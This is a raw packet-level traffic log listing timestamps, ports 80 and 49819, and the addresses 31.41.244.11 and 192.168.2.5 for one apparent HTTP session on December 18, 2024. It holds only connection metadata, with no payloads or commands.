Dec 18, 2024 21:30:42.762792110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.762804985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.762835026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.762849092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.763489008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.763501883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.763513088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.763554096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.763595104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.764286041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.764297962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.764343023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.764859915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.764872074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.764899015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.764930010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.765552044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.765564919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.765607119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.766246080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.766258955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.766268969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.766304970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.766336918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.766937017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.766949892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.767013073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.767571926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.767595053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.767635107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.767661095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.768274069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.768285990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.768318892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.768332005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.768970013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.768981934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.769023895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.769675970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.769689083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.769700050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.769720078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.769735098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.770338058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.770350933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.770392895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.771015882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.771034956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.771080971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.771095037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.771730900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.771755934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.771775007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.771790028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.772413015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.772424936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.772435904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.772456884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.772480011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.773123026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.773135900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.773165941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.773179054 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.773827076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.773839951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.773874998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.773886919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.774534941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.774548054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.774605989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.775191069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.775203943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.775270939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.775852919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.775866032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.775876999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.775904894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.775964022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.776813030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.776832104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.776884079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.777301073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.777313948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.777365923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.777932882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.777951956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.778007030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.778634071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.778646946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.778700113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.779453993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.779465914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.779476881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.779510021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.779530048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.780078888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.780092001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.780118942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.780132055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.780668020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.780704021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.780713081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.780746937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.781330109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.781347990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.781371117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.781383038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.782049894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.782072067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.782113075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.782731056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.782743931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.782754898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.782783985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.782795906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.783412933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.783426046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.783468008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.784132957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.784146070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.784190893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.784748077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.784769058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.784786940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.784818888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.785590887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.785604000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.785630941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.785648108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.786113977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.786125898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.786166906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.945600033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.945755005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.945765972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.945769072 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.945795059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.945813894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.946434021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.946484089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.946899891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.946911097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.946943998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.946955919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.947521925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.947568893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.947648048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.947664976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.947691917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.947704077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.948299885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.948312044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.948348999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.948841095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.948858976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.948889971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.948904991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.949546099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.949558973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.949590921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.949603081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.949997902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.950016022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.950043917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.950057030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.950639963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.950653076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.950685978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.951340914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.951353073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.951410055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.952033043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.952044964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.952081919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.952716112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.952728987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.952739000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.952764988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.952786922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.953372002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.953385115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.953418970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.954149008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.954168081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.954197884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.954210997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.954871893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.954890966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.954924107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.954936981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.955432892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.955445051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.955455065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.955473900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.955501080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.956202030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.956214905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.956248999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.956264019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.956758976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.956785917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.956811905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.956830978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.957504988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.957523108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.957566977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.958153009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.958172083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.958199978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.958231926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.958905935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.958919048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.958929062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.958959103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.958973885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.959558964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.959572077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.959606886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.959619045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.960216999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.960228920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.960268021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.960279942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.960906029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.960939884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.960978985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.961589098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.961607933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.961643934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.962296009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.962322950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.962335110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.962342024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.962351084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.962374926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.962977886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.962990046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.963047028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.963648081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.963666916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.963712931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.964370966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.964385033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.964416981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.964431047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.965004921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.965023994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.965054989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.965074062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.965732098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.965744019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.965754986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.965773106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.965781927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.965801954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.966423035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.966434956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.966465950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.967071056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.967108011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.967132092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.967155933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.967773914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.967787027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.967818975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.967832088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.968485117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.968497038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.968508005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.968525887 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.968543053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.969193935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.969206095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.969237089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.969844103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.969856024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.969892025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.970523119 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.970541000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.970565081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.970585108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.971297979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.971322060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.971343994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.971357107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.971873999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.971893072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.971904993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.971915960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.971929073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.971946955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.972592115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.972609997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.972634077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.972645998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.973332882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.973345995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.973373890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.973386049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.973938942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.973958015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.973980904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.973994017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.974714041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.974726915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.974736929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.974766970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.974787951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.975342035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.975353956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.975382090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.975394011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.976011992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.976054907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.976058006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.976090908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.976708889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.976727009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.976748943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.976761103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.977435112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.977447033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.977477074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.977488041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.978060961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.978072882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.978104115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.138065100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.138122082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.138226032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.138278008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.138629913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.138643026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.138674021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.138694048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.139293909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.139306068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.139344931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.139357090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.140011072 CET	80	49819	31.41.244.11	192.168.2.5
